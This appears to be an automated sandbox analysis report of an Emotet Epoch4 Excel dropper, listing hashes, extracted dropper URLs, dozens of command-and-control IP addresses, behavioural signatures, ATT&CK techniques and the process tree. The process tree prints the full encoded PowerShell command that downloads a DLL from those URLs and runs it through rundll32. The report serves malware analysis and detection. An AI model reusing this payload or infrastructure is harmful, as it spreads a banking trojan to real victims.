emotet | da6ca7bc73cee3c553d9ac4087f86ce67ca34f483dec6fc592a4fbcb847a7393

Analysis

max time kernel
131s
max time network
167s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:59

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General

Target
tmpvhbwvxna.xls
Size 144KB
Sample220125-te4jgaafd8
SHA256 da6ca7bc73cee3c553d9ac4087f86ce67ca34f483dec6fc592a4fbcb847a7393
MD5 0eb7d0ad7bff2ac5b9b689222146ff88
SHA1 236fa5cea607a4f20d843f868fcd735d5eacb74b
SHA512 da659336db1641d1133db971bf340bdcf397bd0a9a5e4c73abdb5089ad017e9a5e6168508f609b71dc0623d56e0313797eefa2a0df78d460f2e179cbf85450f5
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1536	3704	cmd.exe	68

Blocklisted process makes network request 2 IoCs

flow	pid	Process
41	2696	powershell.exe
47	3228	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2148	rundll32.exe
2968	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xwrchzpc\edyhfzkrgrcyma.ojx	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3704	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2696	powershell.exe
2696	powershell.exe
2696	powershell.exe
3228	rundll32.exe
3228	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE
3704	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3704 wrote to memory of 1536	3704	EXCEL.EXE	73
PID 3704 wrote to memory of 1536	3704	EXCEL.EXE	73
PID 1536 wrote to memory of 2696	1536	cmd.exe	75
PID 1536 wrote to memory of 2696	1536	cmd.exe	75
PID 2696 wrote to memory of 2148	2696	powershell.exe	76
PID 2696 wrote to memory of 2148	2696	powershell.exe	76
PID 2696 wrote to memory of 2148	2696	powershell.exe	76
PID 2148 wrote to memory of 2968	2148	rundll32.exe	77
PID 2148 wrote to memory of 2968	2148	rundll32.exe	77
PID 2148 wrote to memory of 2968	2148	rundll32.exe	77
PID 2968 wrote to memory of 3568	2968	rundll32.exe	78
PID 2968 wrote to memory of 3568	2968	rundll32.exe	78
PID 2968 wrote to memory of 3568	2968	rundll32.exe	78
PID 3568 wrote to memory of 3228	3568	rundll32.exe	79
PID 3568 wrote to memory of 3228	3568	rundll32.exe	79
PID 3568 wrote to memory of 3228	3568	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpvhbwvxna.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1513427729.dll,f752023683
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1513427729.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2968
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xwrchzpc\edyhfzkrgrcyma.ojx",IgSDAggZyGH
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xwrchzpc\edyhfzkrgrcyma.ojx",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2148-365-0x0000000000C60000-0x0000000000C85000-memory.dmp

Download

memory/2696-341-0x000001B0E0133000-0x000001B0E0135000-memory.dmp

Download

memory/2696-349-0x000001B0E0136000-0x000001B0E0138000-memory.dmp

Download

memory/2696-342-0x000001B0F8720000-0x000001B0F8796000-memory.dmp

Download

memory/2696-340-0x000001B0E0130000-0x000001B0E0132000-memory.dmp

Download

memory/2696-337-0x000001B0F8410000-0x000001B0F8432000-memory.dmp

Download

memory/2968-378-0x0000000005400000-0x0000000005425000-memory.dmp

Download

memory/2968-382-0x0000000005600000-0x0000000005625000-memory.dmp

Download

memory/2968-380-0x0000000005460000-0x0000000005485000-memory.dmp

Download

memory/2968-376-0x00000000053A0000-0x00000000053C5000-memory.dmp

Download

memory/2968-369-0x0000000003390000-0x00000000033B5000-memory.dmp

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memory/2968-367-0x00000000032C0000-0x00000000032E5000-memory.dmp

Download

memory/3228-386-0x0000000003320000-0x0000000003345000-memory.dmp

Download

memory/3568-383-0x0000000000C50000-0x0000000000C75000-memory.dmp

Download

memory/3704-122-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Download

memory/3704-120-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Download

memory/3704-131-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

Download

memory/3704-118-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-132-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

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memory/3704-306-0x0000021A321F0000-0x0000021A321F4000-memory.dmp

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memory/3704-121-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-119-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-593-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-594-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-595-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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memory/3704-596-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

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